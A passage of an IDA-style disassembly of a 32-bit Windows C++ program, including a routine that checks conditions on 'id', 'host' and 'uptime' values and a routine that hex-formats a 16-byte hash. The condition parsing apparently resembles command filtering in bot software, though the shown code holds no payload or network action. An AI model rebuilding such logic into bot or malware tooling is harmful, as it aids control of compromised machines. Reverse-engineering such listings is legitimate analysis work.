		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412AD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412B50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C10	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_412C10	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CD0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_412CD0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D70:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_413096
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D14 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412EF5
		xor	edi, edi


loc_412EF5:				; CODE XREF: ___:00412EF1j
		push	offset asc_444D10 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F0C
		mov	edi, 1


loc_412F0C:				; CODE XREF: ___:00412F05j
		push	offset asc_444D0C ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F23
		mov	edi, 2


loc_412F23:				; CODE XREF: ___:00412F1Cj
		push	offset asc_444D08 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F3A
		mov	edi, 3


loc_412F3A:				; CODE XREF: ___:00412F33j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F94
		test	edi, edi
		jnz	short loc_412F6A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412F94
		jmp	short loc_412F87
; ---------------------------------------------------------------------------


loc_412F6A:				; CODE XREF: ___:00412F4Ej
		cmp	edi, 1
		jnz	short loc_412F94
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F94


loc_412F87:				; CODE XREF: ___:00412F68j
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_412F94:				; CODE XREF: ___:00412F4Aj
					; ___:00412F66j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FE7
		test	edi, edi
		jnz	short loc_412FC8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_412FC8:				; CODE XREF: ___:00412FA8j
		cmp	edi, 1
		jnz	short loc_413049
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_412FE7:				; CODE XREF: ___:00412FA4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413049
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41301D
		cmp	eax, ebx
		jz	short loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: ___:00413015j
		cmp	edi, 1
		jnz	short loc_413028
		cmp	eax, ebx
		jnz	short loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_413028:				; CODE XREF: ___:00413020j
		cmp	edi, 2
		jnz	short loc_413033
		cmp	eax, ebx
		jle	short loc_413049
		jmp	short loc_41303C
; ---------------------------------------------------------------------------


loc_413033:				; CODE XREF: ___:0041302Bj
		cmp	edi, 3
		jnz	short loc_413049
		cmp	eax, ebx
		jge	short loc_413049


loc_41303C:				; CODE XREF: ___:00412FC6j
					; ___:00412FE5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_413049:				; CODE XREF: ___:00412FC0j
					; ___:00412FCBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_413098
; ---------------------------------------------------------------------------


loc_413096:				; CODE XREF: ___:00412DA9j
		mov	al, 1


loc_413098:				; CODE XREF: ___:00413094j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131A0	proc near		; CODE XREF: sub_40165Ej
		nop
		call	near ptr 27D09E8h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131A0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131E0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132B0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132B0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132C8:				; CODE XREF: ___:004132BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132E0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133A0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4133A0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413490	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413537
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413537


loc_4134F8:				; CODE XREF: sub_413490+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41355C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_4134F8


loc_413537:				; CODE XREF: sub_413490+2Ej
					; sub_413490+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41355C:				; CODE XREF: sub_413490+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_413490	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135D0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136A3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136A3


loc_41363F:				; CODE XREF: sub_4135D0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41366C
		mov	edi, [esi]


loc_41366C:				; CODE XREF: sub_4135D0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136CB
		test	esi, esi
		jnz	short loc_4136CB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41363F


loc_4136A3:				; CODE XREF: sub_4135D0+31j
					; sub_4135D0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136B6:				; CODE XREF: sub_4135D0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136CB:				; CODE XREF: sub_4135D0+AAj
					; sub_4135D0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136B6
sub_4135D0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413730	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137D4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137D4


loc_413796:				; CODE XREF: sub_413730+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413806
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_413796


loc_4137D4:				; CODE XREF: sub_413730+2Bj
					; sub_413730+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413806:				; CODE XREF: sub_413730+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413730	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138A0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139D3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41393B:				; CODE XREF: sub_4138A0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41393B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139CE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139EC
; ---------------------------------------------------------------------------


loc_4139CE:				; CODE XREF: sub_4138A0+10Cj
		call	sub_401226


loc_4139D3:				; CODE XREF: sub_4138A0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139EC:				; CODE XREF: sub_4138A0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A70	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B1E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B1E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B1E:				; CODE XREF: sub_413A70+3Fj
					; sub_413A70+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BA0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
